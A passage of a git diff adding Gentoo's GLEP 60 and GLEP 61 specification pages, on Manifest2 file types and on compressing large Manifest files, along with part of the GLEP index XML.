+<dt>matches any of <tt class="docutils literal">metadata/cache/*</tt>, <tt class="docutils literal">profiles/</tt>, <tt class="docutils literal">package.*</tt>, <tt class="docutils literal">use.mask*</tt>, ...</dt>
+<dd><p class="first last">=&gt; DATA, stop.</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt>matches any of <tt class="docutils literal">ChangeLog</tt>, <tt class="docutils literal">metadata.xml</tt>, <tt class="docutils literal">*.desc</tt>, ...</dt>
+<dd><p class="first last">=&gt; MISC, stop.</p>
+</dd>
+</dl>
+</li>
+<li><dl class="first docutils">
+<dt>not matched by any other rule</dt>
+<dd><p class="first last">=&gt; OTHER, stop.</p>
+</dd>
+</dl>
+</li>
+</ol>
+<p>The logic behind 5, 6, 7 is ensuring that every item that by it's
+presence or absence may be dangerous should always be treated strictly.
+(Consider epatch given a directory of patches <tt class="docutils literal"><span class="pre">${FILESDIR}/${PV}/</span></tt>,
+where it blindly includes them, or alternatively, the package.mask file
+or a profile being altered/missing).</p>
+<p>The above lists of file patterns are not intended to be exhaustive,
+but merely demonstrative.</p>
+<p>Note: The AUX entries should only be generated if we are generating a
+compatible Manifest that supports older versions of Portage. They should
+be generated along with the new type.</p>
+</div>
+</div>
+<div class="section" id="backwards-compatibility">
+<h1><a class="toc-backref" href="#id27">Backwards Compatibility</a></h1>
+<p>For generation of existing package Manifests, the AUX entries must
+continue to be present for the standard Portage deprecation cycle.
+The new entries may be included already in all Manifest files, as they
+will be ignored by older Portage versions. Over time, ECLASS, DATA,
+EXEC, OTHER may replace the existing AUX type.</p>
+<p>The adoption of this proposal does also affect [GLEP58] as part of
+this GLEP series, however this GLEP was an offset of the research in
+that GLEP.</p>
+</div>
+<div class="section" id="thanks-to">
+<h1><a class="toc-backref" href="#id28">Thanks to</a></h1>
+<p>I'd like to thank the following people for input on this GLEP.
+- Marius Mauch (genone) &amp; Zac Medico (zmedico): Portage Manifest2</p>
+</div>
+<div class="section" id="references">
+<h1><a class="toc-backref" href="#id29">References</a></h1>
+<table class="docutils citation" frame="void" id="glep44" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[GLEP44]</td><td>Mauch, M. (2005) GLEP44 - Manifest2 format.
+<a class="reference external" href="http://www.gentoo.org/proj/en/glep/glep-0044.html">http://www.gentoo.org/proj/en/glep/glep-0044.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils citation" frame="void" id="glep58" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[GLEP58]</td><td>Security of distribution of Gentoo software - Infrastructure to User distribution - MetaManifest
+<a class="reference external" href="http://www.gentoo.org/proj/en/glep/glep-0058.html">http://www.gentoo.org/proj/en/glep/glep-0058.html</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section" id="copyright">
+<h1><a class="toc-backref" href="#id30">Copyright</a></h1>
+<p>Copyright (c) 2007-2010 by Robin Hugh Johnson. This material may be
+distributed only subject to the terms and conditions set forth in the
+Open Publication License, v1.0.</p>
+<!-- vim: tw=72 ts=2 expandtab: -->
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference external" href="glep-0060.txt">View document source</a>.
+Generated on: 2010-04-07 21:54 UTC.
+Generated by <a class="reference external" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference external" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/glep/glep-0060.txt b/xml/htdocs/proj/en/glep/glep-0060.txt
new file mode 100644
index 00000000..93cddb64
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0060.txt
@@ -0,0 +1,248 @@
+GLEP: 60
+Title: Manifest2 filetypes
+Version: $Revision: 1.10 $
+Last-Modified: $Date: 2010/04/07 21:34:24 $
+Author: Robin Hugh Johnson <robbat2@gentoo.org> 
+Status: Draft
+Type: Standards Track
+Content-Type: text/x-rst
+Requires: 44
+Created: November 2007
+Updated: June 2008, July 2008, October 2008, January 2010
+Updates: 44
+Post-History: December 2009, January 2010
+
+Abstract
+========
+Clarification of the Manifest2 [GLEP44] specification, including new types to
+help in the tree-signing specification.
+
+Motivation
+==========
+[GLEP44] was not entirely clear on the usage of filetype specifiers.
+This document serves to provide some of the internal logic used by
+Portage at the point of writing, as well as adding new types to cover
+the rest of the tree, for the purposes of tree-signing coverage.
+
+This GLEP is not mandatory for the tree-signing specification, but
+instead aims to clarify the usage of the Manifest2 filetype specifiers,
+and note which types signify files that are allowed to be missing from
+the tree (e.g. a user excluding a package or category). As such, it is
+also able to stand on it's own.
+
+Specification
+=============
+General
+-------
+For any given directory with a Manifest file, every file located in that
+directory, or a sub-directory must be listed in that Manifest file,
+unless stated otherwise in the following sections. The Manifest file
+must not contain an entry for itself.
+
+Excluded files
+--------------
+When generating or validating a Manifest, or committing to a version
+control system, the package manager should endeavour to ignore files
+created by a version control system, backup files from text editors. A
+non-exhaustive list is suggested here: ``CVS/``, ``.svn/``, ``.bzr/``,
+``.git/``, ``.hg/``, ``.#*``, ``*.rej``, ``*.orig``, ``*.bak``, ``*~``.
+
+Additionally, for a transitional Manifest1->Manifest2 system, old-style
+digest files located in a 'files/' directory, may be excluded from
+Manifest2 generation, or included with a type of MISC.
+
+Under strict security conditions, the exclusion list may be ignored
+during validation if the existence of a file would be considered a
+security risk.
+
+Existing filetypes:
+-------------------
+AUX
+~~~
+- The AUX type is used for all items under the 'files' subdirectory. 
+- They should be verified relative to $FILESDIR. 
+- The string 'files/' is left out of the Manifest line. 
+- The absence of a file mentioned by AUX must be treated as an error. 
+- The AUX type is intended to denote potentially executable content
+  (either directly or indirectly), that must be treated an error if
+  modified or absent.
+
+EBUILD
+~~~~~~
+- The EBUILD type is used solely for files ending in .ebuild, or other
+  suffixes as defined by the EAPI.
+- The files are located in the same directory as the Manifest file. 
+- The modification or absence of a file mentioned by EBUILD must be
+  treated as an error.
+
+DIST
+~~~~
+- The DIST type is used for distfiles
+- They may be found directly via the $DISTDIR setting of the package
+  manager. 
+- During simple verification of a Manifest, a missing DIST file should
+  not be consider as a validation error (it is however a failure to
+  fetch or unpack).
+
+MISC
+~~~~
+- The MISC type covers all remaining files in a directory. 
+- MISC is intended to mark all content that was not used in
+  some way that directly affected execution of the package manager. 
+- This includes metadata.xml and ChangeLog entries, and any other purely
+  informational content.
+- MISC entries where the file is missing may optionally be ignored as by
+  non-strict package managers.
+- It should be possible to install a package while all MISC entries have
+  been deleted from the tree.
+
+
+New filetypes:
+--------------
+_INFO (new, abstract)
+~~~~~~~~~~~~~~~~~~~~~
+- This is the functionality of the old AUX, but does not include the
+  implicit 'files/' prefix in the path, and is verified relative to the
+  working directory instead of $FILESDIR.
+- The modification or absence of a file listed as a _INFO-derived type 
+  is not an error unless the package manager is attempting to be strict.
+
+_CRIT (new, abstract)
+~~~~~~~~~~~~~~~~~~~~~
+- _CRIT is based off the _INFO type.
+- The modification or absence of a file listed as a _CRIT-derived type 
+  MUST be treated as an error.
+
+EBUILD
+~~~~~~
+- Now derived from _CRIT.
+- Otherwise unchanged.
+
+DIST
+~~~~
+- Now derived from _CRIT.
+- Otherwise unchanged.
+
+MISC
+~~~~
+- Now derived from _INFO.
+- Otherwise unchanged.
+
+MANIFEST (new)
+~~~~~~~~~~~~~~
+- The MANIFEST type is explicitly to cover all nested Manifest files.
+- During validation, this serves as an indicator that the package
+  manager may need to check subtree Manifest file. 
+- A missing MANIFEST file may be treated as a minor (e.g. excluding an
+  entire category) or critical validation failure.
+- The failure should be considered as critical only if files that would
+  be directly covered by this Manifest are missing. Deletion of a
+  category-level Manifest while preserving the packages is forbidden.
+  Deletion of an entire category is not.
+
+ECLASS (new)
+~~~~~~~~~~~~
+- uses _CRIT.
+- This type shall be used for all eclasses only.
+
+DATA (new)
+~~~~~~~~~~
+- uses _CRIT.
+- The DATA type shall be used for all files that directly affect the
+  package manager, such as metadata/cache/* and profiles/.
+
+EXEC (new)
+~~~~~~~~~~
+- uses _CRIT.
+- If the file gets sourced, executed, or causes a change (patches) in
+  how something is sourced or executed, it belongs in the EXEC
+  filetype.
+- This filetype should be used for the scripts directories of a
+  repository for important files.
+- This filetype is not limited to being used in the files/
+  subdirectory.
+
+OTHER (new)
+~~~~~~~~~~~
+- uses _CRIT.
+- All other files that are not covered by another type should be
+  considered as 'OTHER'.
+- Any further new filetypes should be introduced to subtract files
+  from the 'OTHER' set.
+- If a package manager runs into a unknown Manifest2 type, it should
+  be treated as 'OTHER'.
+
+On Bloat
+--------
+If repeated use of a common path prefix is considered a bloat problem, a
+Manifest file should be added inside the common directory, however this
+should not be done blindly, as bloat by inodes is more significant for
+the majority of use cases. See also [GLEP58] on size reductions of
+Manifests.
+
+Chosing a filetype
+------------------
+1. matches ``Manifest``
+    => MANIFEST, stop.
+2. matches ``*.ebuild``
+    => EBUILD, stop.
+3. matches ``*.eclass``
+    => ECLASS, stop.
+4. listed in SRC_URI 
+    => DIST, stop.
+5. matches ``files/*``
+    => AUX, continue [see note].
+6. matches any of ``*.sh``, ``*.bashrc``, ``*.patch``, ...
+    => EXEC, stop.
+7. matches any of ``metadata/cache/*``, ``profiles/``, ``package.*``, ``use.mask*``, ...
+    => DATA, stop.
+8. matches any of ``ChangeLog``, ``metadata.xml``, ``*.desc``, ...
+    => MISC, stop.
+9. not matched by any other rule 
+    => OTHER, stop.
+
+The logic behind 5, 6, 7 is ensuring that every item that by it's
+presence or absence may be dangerous should always be treated strictly.
+(Consider epatch given a directory of patches ``${FILESDIR}/${PV}/``,
+where it blindly includes them, or alternatively, the package.mask file
+or a profile being altered/missing).
+
+The above lists of file patterns are not intended to be exhaustive,
+but merely demonstrative.
+
+Note: The AUX entries should only be generated if we are generating a
+compatible Manifest that supports older versions of Portage. They should
+be generated along with the new type.
+
+Backwards Compatibility
+=======================
+For generation of existing package Manifests, the AUX entries must
+continue to be present for the standard Portage deprecation cycle.
+The new entries may be included already in all Manifest files, as they
+will be ignored by older Portage versions. Over time, ECLASS, DATA,
+EXEC, OTHER may replace the existing AUX type.
+
+The adoption of this proposal does also affect [GLEP58] as part of
+this GLEP series, however this GLEP was an offset of the research in
+that GLEP.
+
+Thanks to
+=========
+I'd like to thank the following people for input on this GLEP.
+- Marius Mauch (genone) & Zac Medico (zmedico): Portage Manifest2
+
+References
+==========
+.. [GLEP44] Mauch, M. (2005) GLEP44 - Manifest2 format.
+   http://www.gentoo.org/proj/en/glep/glep-0044.html	
+
+.. [GLEP58] Security of distribution of Gentoo software - Infrastructure to User distribution - MetaManifest
+   http://www.gentoo.org/proj/en/glep/glep-0058.html	
+
+Copyright
+=========
+Copyright (c) 2007-2010 by Robin Hugh Johnson. This material may be
+distributed only subject to the terms and conditions set forth in the
+Open Publication License, v1.0.
+
+.. vim: tw=72 ts=2 expandtab:
diff --git a/xml/htdocs/proj/en/glep/glep-0061.html b/xml/htdocs/proj/en/glep/glep-0061.html
new file mode 100644
index 00000000..8567f844
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0061.html
@@ -0,0 +1,219 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.6: http://docutils.sourceforge.net/" />
+  <title>GLEP 61 -- Manifest2 compression</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" /></head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0061.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">61</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Manifest2 compression</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.7</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0061.txt?cvsroot=gentoo">2010/04/07 21:34:24</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Robin Hugh Johnson &lt;robbat2&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Draft</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference external" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Requires:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/proj/en/glepglep-0044.html">44</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">July 2008</td>
+</tr>
+<tr class="field"><th class="field-name">Updated:</th><td class="field-body">October 2008, January 2010</td>
+</tr>
+<tr class="field"><th class="field-name">Updates:</th><td class="field-body">44</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">December 2009, January 2010</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic" id="contents">
+<p class="topic-title first">Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#abstract" id="id1">Abstract</a></li>
+<li><a class="reference internal" href="#motivation" id="id2">Motivation</a></li>
+<li><a class="reference internal" href="#specification" id="id3">Specification</a><ul>
+<li><a class="reference internal" href="#creation-of-compressed-manifests" id="id4">Creation of compressed Manifests:</a></li>
+<li><a class="reference internal" href="#validation-of-manifests" id="id5">Validation of Manifests:</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#example-results-with-a-32kib-cut-off-gzip-algorithm" id="id6">Example Results with a 32KiB cut-off, gzip algorithm</a></li>
+<li><a class="reference internal" href="#backwards-compatibility" id="id7">Backwards Compatibility</a></li>
+<li><a class="reference internal" href="#references" id="id8">References</a></li>
+<li><a class="reference internal" href="#copyright" id="id9">Copyright</a></li>
+</ul>
+</div>
+<div class="section" id="abstract">
+<h1><a class="toc-backref" href="#id1">Abstract</a></h1>
+<p>Deals with compression of large Manifest2 files.</p>
+</div>
+<div class="section" id="motivation">
+<h1><a class="toc-backref" href="#id2">Motivation</a></h1>
+<p>With the introduction of MetaManifest, and full-tree Manifest coverage,
+we are faced with the possibility of having very large Manifests.</p>
+<p>Preliminary experiments with MetaManifest, show that with just the
+existing per-package Manifests, the full MetaManifest (top-level only,
+no first-level sub directories), for a tree including metadata/, exceeds
+8MiB in size. Applying common compression can achieve a 50-60% reduction
+in this size.</p>
+<p>Additionally, some of the larger already-existing Manifests in the tree
+can also be reduced.</p>
+<p>This GLEP is not mandatory for the tree-signing specification, but
+instead helps to cut down the size impact of large Manifest2 files, some
+of which are already present in the tree. As such, it is also able to
+stand on it's own.</p>
+</div>
+<div class="section" id="specification">
+<h1><a class="toc-backref" href="#id3">Specification</a></h1>
+<div class="section" id="creation-of-compressed-manifests">
+<h2><a class="toc-backref" href="#id4">Creation of compressed Manifests:</a></h2>
+<p>32KiB is suggested as a arbitrary cut-off point to start generating
+compressed Manifest2 files.</p>
+<p>The compression must only applied during the creation of a tree intended
+for end users. No Manifests stored in a VCS should be compressed in the
+VCS. For the main gentoo-portage tree, this means that the compressed
+Manifests should be generated using the CVS to Rsync process.</p>
+<p>The Manifest compression process is required to ensure that inconsistent
+compressed versions do not exist.</p>
+</div>
+<div class="section" id="validation-of-manifests">
+<h2><a class="toc-backref" href="#id5">Validation of Manifests:</a></h2>
+<p>When searching for a Manifest2 file, if the basename form does not
+exist, the package manager should search in the same location using
+common compressed suffixes, and use the compressed file in place of the
+Manifest2.</p>
+<p>gzip, bzip2, lzma, xz should all be supported if available on the given
+platform. In the case that multiple versions exist, the package manager
+should simply pick one - they should be identical, differing only in
+compression.</p>
+</div>
+</div>
+<div class="section" id="example-results-with-a-32kib-cut-off-gzip-algorithm">
+<h1><a class="toc-backref" href="#id6">Example Results with a 32KiB cut-off, gzip algorithm</a></h1>
+<p>As of 2010/01/30, the suggested cut-off would impact the following 21 existing
+Manifests, for a saving of nearly 900KiB:</p>
+<pre class="literal-block">
+Size   Path
+ 65788 app-doc/linux-gazette/Manifest
+ 75739 app-office/openoffice-bin/Manifest
+ 40534 app-text/texlive-core/Manifest
+ 41710 dev-texlive/texlive-bibtexextra/Manifest
+ 38197 dev-texlive/texlive-documentation-english/Manifest
+129610 dev-texlive/texlive-fontsextra/Manifest
+ 36022 dev-texlive/texlive-humanities/Manifest
+686118 dev-texlive/texlive-latexextra/Manifest
+ 43392 dev-texlive/texlive-latexrecommended/Manifest
+ 33375 dev-texlive/texlive-mathextra/Manifest
+ 39781 dev-texlive/texlive-pictures/Manifest
+ 69567 dev-texlive/texlive-pstricks/Manifest
+ 75460 dev-texlive/texlive-publishers/Manifest
+ 50879 dev-texlive/texlive-science/Manifest
+ 36711 kde-base/kde-l10n/Manifest
+ 36539 media-gfx/bootsplash-themes/Manifest
+ 33058 net-fs/autofs/Manifest
+ 39781 www-client/firefox-bin/Manifest
+ 48983 www-client/icecat/Manifest
+ 60213 www-client/mozilla-firefox/Manifest
+ 39065 x11-themes/gkrellm-themes/Manifest
+</pre>
+<p>Additionally, with the MetaManifest proposal, the following new manifests would
+also be compressed, for a saving of nearly 4MiB:</p>
+<pre class="literal-block">
+Size    Path
+  33442 app-admin/Manifest
+  71073 app-dicts/Manifest
+  35923 app-emacs/Manifest
+  45808 app-misc/Manifest
+  50169 app-text/Manifest
+ 112786 dev-java/Manifest
+  65581 dev-libs/Manifest
+  42619 dev-lisp/Manifest
+ 182163 dev-perl/Manifest
+  96198 dev-python/Manifest
+  58963 dev-ruby/Manifest
+  59736 dev-util/Manifest
+  58338 eclass/Manifest
+  55749 kde-base/Manifest
+ 110064 licenses/Manifest
+  35262 media-gfx/Manifest
+  53995 media-libs/Manifest
+  55607 media-plugins/Manifest
+  71911 media-sound/Manifest
+  34835 media-video/Manifest
+5747849 metadata/Manifest
+  47452 net-analyzer/Manifest
+  65989 net-misc/Manifest
+ 316787 profiles/Manifest
+  67784 sys-apps/Manifest
+  48971 x11-misc/Manifest
+  41475 x11-plugins/Manifest
+</pre>
+</div>
+<div class="section" id="backwards-compatibility">
+<h1><a class="toc-backref" href="#id7">Backwards Compatibility</a></h1>
+<p>The package Manifests should also be maintained as ONLY uncompressed in
+CVS.</p>
+<p>For processing of all existing per-package Manifests, if compression is
+used, it should be done in parallel to the existing Manifests, to
+provide for a changeover period. Newer versions of Portage may later
+choose to exclude all non-compressed Manifests during emerge --sync if
+compressed versions are guaranteed to exist on the servers.</p>
+<p>MetaManifests may come into existence as compressed from the start, as
+do not have an backwards compatibility issues.</p>
+<p>As a side note, this breaks all manual interaction with Manifests
+such as grep, and so should only be applied to large Manifest2 files,
+such as the MetaManifest.</p>
+</div>
+<div class="section" id="references">
+<h1><a class="toc-backref" href="#id8">References</a></h1>
+<table class="docutils citation" frame="void" id="glep44" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[GLEP44]</td><td>Mauch, M. (2005) GLEP44 - Manifest2 format.
+<a class="reference external" href="http://www.gentoo.org/proj/en/glep/glep-0044.html">http://www.gentoo.org/proj/en/glep/glep-0044.html</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section" id="copyright">
+<h1><a class="toc-backref" href="#id9">Copyright</a></h1>
+<p>Copyright (c) 2008-2010 by Robin Hugh Johnson. This material may be
+distributed only subject to the terms and conditions set forth in the
+Open Publication License, v1.0.</p>
+<!-- vim: tw=72 ts=2 expandtab: -->
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference external" href="glep-0061.txt">View document source</a>.
+Generated on: 2010-04-07 21:54 UTC.
+Generated by <a class="reference external" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference external" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/glep/glep-0061.txt b/xml/htdocs/proj/en/glep/glep-0061.txt
new file mode 100644
index 00000000..2ec366fb
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0061.txt
@@ -0,0 +1,156 @@
+GLEP: 61
+Title: Manifest2 compression
+Version: $Revision: 1.7 $
+Last-Modified: $Date: 2010/04/07 21:34:24 $
+Author: Robin Hugh Johnson <robbat2@gentoo.org> 
+Status: Draft
+Type: Standards Track
+Content-Type: text/x-rst
+Requires: 44
+Created: July 2008
+Updated: October 2008, January 2010
+Updates: 44
+Post-History: December 2009, January 2010
+
+Abstract
+========
+Deals with compression of large Manifest2 files.
+
+Motivation
+==========
+With the introduction of MetaManifest, and full-tree Manifest coverage,
+we are faced with the possibility of having very large Manifests.
+
+Preliminary experiments with MetaManifest, show that with just the
+existing per-package Manifests, the full MetaManifest (top-level only,
+no first-level sub directories), for a tree including metadata/, exceeds
+8MiB in size. Applying common compression can achieve a 50-60% reduction
+in this size.
+
+Additionally, some of the larger already-existing Manifests in the tree
+can also be reduced.
+
+This GLEP is not mandatory for the tree-signing specification, but
+instead helps to cut down the size impact of large Manifest2 files, some
+of which are already present in the tree. As such, it is also able to
+stand on it's own.
+
+Specification
+=============
+Creation of compressed Manifests:
+---------------------------------
+32KiB is suggested as a arbitrary cut-off point to start generating
+compressed Manifest2 files.
+
+The compression must only applied during the creation of a tree intended
+for end users. No Manifests stored in a VCS should be compressed in the
+VCS. For the main gentoo-portage tree, this means that the compressed
+Manifests should be generated using the CVS to Rsync process.
+
+The Manifest compression process is required to ensure that inconsistent
+compressed versions do not exist.
+
+Validation of Manifests:
+------------------------
+When searching for a Manifest2 file, if the basename form does not
+exist, the package manager should search in the same location using
+common compressed suffixes, and use the compressed file in place of the
+Manifest2.
+
+gzip, bzip2, lzma, xz should all be supported if available on the given
+platform. In the case that multiple versions exist, the package manager
+should simply pick one - they should be identical, differing only in
+compression.
+
+Example Results with a 32KiB cut-off, gzip algorithm
+====================================================
+As of 2010/01/30, the suggested cut-off would impact the following 21 existing
+Manifests, for a saving of nearly 900KiB::
+
+  Size   Path
+   65788 app-doc/linux-gazette/Manifest
+   75739 app-office/openoffice-bin/Manifest
+   40534 app-text/texlive-core/Manifest
+   41710 dev-texlive/texlive-bibtexextra/Manifest
+   38197 dev-texlive/texlive-documentation-english/Manifest
+  129610 dev-texlive/texlive-fontsextra/Manifest
+   36022 dev-texlive/texlive-humanities/Manifest
+  686118 dev-texlive/texlive-latexextra/Manifest
+   43392 dev-texlive/texlive-latexrecommended/Manifest
+   33375 dev-texlive/texlive-mathextra/Manifest
+   39781 dev-texlive/texlive-pictures/Manifest
+   69567 dev-texlive/texlive-pstricks/Manifest
+   75460 dev-texlive/texlive-publishers/Manifest
+   50879 dev-texlive/texlive-science/Manifest
+   36711 kde-base/kde-l10n/Manifest
+   36539 media-gfx/bootsplash-themes/Manifest
+   33058 net-fs/autofs/Manifest
+   39781 www-client/firefox-bin/Manifest
+   48983 www-client/icecat/Manifest
+   60213 www-client/mozilla-firefox/Manifest
+   39065 x11-themes/gkrellm-themes/Manifest
+  
+
+Additionally, with the MetaManifest proposal, the following new manifests would
+also be compressed, for a saving of nearly 4MiB::
+
+  Size    Path
+    33442 app-admin/Manifest
+    71073 app-dicts/Manifest
+    35923 app-emacs/Manifest
+    45808 app-misc/Manifest
+    50169 app-text/Manifest
+   112786 dev-java/Manifest
+    65581 dev-libs/Manifest
+    42619 dev-lisp/Manifest
+   182163 dev-perl/Manifest
+    96198 dev-python/Manifest
+    58963 dev-ruby/Manifest
+    59736 dev-util/Manifest
+    58338 eclass/Manifest
+    55749 kde-base/Manifest
+   110064 licenses/Manifest
+    35262 media-gfx/Manifest
+    53995 media-libs/Manifest
+    55607 media-plugins/Manifest
+    71911 media-sound/Manifest
+    34835 media-video/Manifest
+  5747849 metadata/Manifest
+    47452 net-analyzer/Manifest
+    65989 net-misc/Manifest
+   316787 profiles/Manifest
+    67784 sys-apps/Manifest
+    48971 x11-misc/Manifest
+    41475 x11-plugins/Manifest
+  
+
+Backwards Compatibility
+=======================
+The package Manifests should also be maintained as ONLY uncompressed in
+CVS.
+
+For processing of all existing per-package Manifests, if compression is
+used, it should be done in parallel to the existing Manifests, to
+provide for a changeover period. Newer versions of Portage may later
+choose to exclude all non-compressed Manifests during emerge --sync if
+compressed versions are guaranteed to exist on the servers.
+
+MetaManifests may come into existence as compressed from the start, as
+do not have an backwards compatibility issues.
+
+As a side note, this breaks all manual interaction with Manifests
+such as grep, and so should only be applied to large Manifest2 files,
+such as the MetaManifest. 
+
+References
+==========
+.. [GLEP44] Mauch, M. (2005) GLEP44 - Manifest2 format.
+   http://www.gentoo.org/proj/en/glep/glep-0044.html	
+
+Copyright
+=========
+Copyright (c) 2008-2010 by Robin Hugh Johnson. This material may be
+distributed only subject to the terms and conditions set forth in the
+Open Publication License, v1.0.
+
+.. vim: tw=72 ts=2 expandtab:
diff --git a/xml/htdocs/proj/en/glep/gleps.xml b/xml/htdocs/proj/en/glep/gleps.xml
new file mode 100644
index 00000000..7ff0177d
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/gleps.xml
@@ -0,0 +1,191 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/glep/gleps.xml,v 1.23 2010/08/10 00:50:03 robbat2 Exp $ -->
+<!DOCTYPE gleps SYSTEM "/dtd/gleps.dtd">
+  
+<gleps>
+
+<glep file="glep-0001.html" id="1"  type="I" status="F">
+  GLEP Purpose and Guidelines
+</glep>
+<glep file="glep-0002.html" id="2"  type="I" status="F">
+  Sample ReStructuredText GLEP Template
+</glep>
+<glep file="glep-0003.html" id="3"  type="S" status="d">
+  Ebuild Maintainer Extension GLEP
+</glep>
+<glep file="glep-0004.xml"  id="4"  type="S" status="M">
+  <uri link="http://www.gentoo.org/doc/en/management-structure.xml" >Gentoo top-level management structure proposal</uri>
+</glep>
+<glep file="glep-0005.html" id="5"  type="S" status="d">
+  Metadata.xml extension
+</glep>
+<glep file="glep-0006.html" id="6"  type="S" status="F">
+  Gentoo Linux Monthly Bug Day
+</glep>
+<glep file="glep-0007.html" id="7"  type="S" status="F">
+  New Ombudsman Position
+</glep>
+<glep file="glep-0008.html" id="8"  type="S" status="F">
+  Adopt-a-Developer
+</glep>
+<glep file="glep-0009.html" id="9"  type="S" status="d">
+  Gentoo Package Update System
+</glep>
+<glep file="glep-0010.html" id="10" type="S" status="d">
+  Internationalization of www.gentoo.org
+</glep>
+<glep file="glep-0011.html" id="11" type="S" status="F">
+  Web Application Installation
+</glep>
+<glep file="glep-0012.html" id="12" type="S" status="R">
+  Gentoo.org finger daemon
+</glep>
+<glep file="glep-0013.html" id="13" type="S" status="F">
+  Providing the users with a Gentoo Handbook
+</glep>
+<glep file="glep-0014.html" id="14" type="S" status="A">
+  Security updates based on GLSA
+</glep>
+<glep file="glep-0015.html" id="15" type="S" status="A">
+  Gentoo Script Repository
+</glep>
+<glep file="glep-0016.html" id="16" type="S" status="d">
+  Gentoo Menu System
+</glep>
+<glep file="glep-0017.html" id="17" type="S" status="d">
+  Resolution for Aging Ebuilds
+</glep>
+<glep file="glep-0018.html" id="18" type="S" status="d">
+  Gentoo Bimonthly Publication
+</glep>
+<glep file="glep-0019.html" id="19" type="S" status="W">
+  Gentoo Stable Portage Tree
+</glep>
+<glep file="glep-0020.html" id="20" type="S" status="A">
+  /srv - Services Home Directory Support
+</glep>
+<glep file="glep-0021.html" id="21" type="S" status="F">
+  User-defined package sets
+</glep>
+<glep file="glep-0022.html" id="22" type="S" status="F">
+  New "keyword" system to incorporate various userlands/kernels/archs
+</glep>
+<glep file="glep-0023.html" id="23" type="S" status="F">
+  Handling of ACCEPT_LICENSE
+</glep>
+<glep file="glep-0024.html" id="24" type="S" status="d">
+  Consistent Gentoo tool naming scheme
+</glep>
+<glep file="glep-0025.html" id="25" type="S" status="d">
+  Distfile Patching Support
+</glep>
+<glep file="glep-0026.html" id="26" type="S" status="d">
+  Handling kernels with portage
+</glep>
+<glep file="glep-0027.html" id="27" type="S" status="A">
+  Portage management of UIDs/GIDs
+</glep>
+<glep file="glep-0028.html" id="28" type="I" status="F">
+  "Expiration" of inactive GLEPs
+</glep>
+<glep file="glep-0029.html" id="29" type="S" status="W">
+  Use flag groups
+</glep>
+<glep file="glep-0030.html" id="30" type="S" status="F">
+  "Planet Gentoo" web log aggregator
+</glep>
+<glep file="glep-0031.html" id="31" type="S" status="F">
+  Character sets for portage tree items
+</glep>
+<glep file="glep-0032.html" id="32" type="S" status="d">
+  Maildir location
+</glep>
+<glep file="glep-0033.html" id="33" type="S" status="M">
+  Eclass Restructure/Redesign
+</glep>
+<glep file="glep-0034.html" id="34" type="S" status="F">
+  Per-Category metadata.xml files
+</glep>
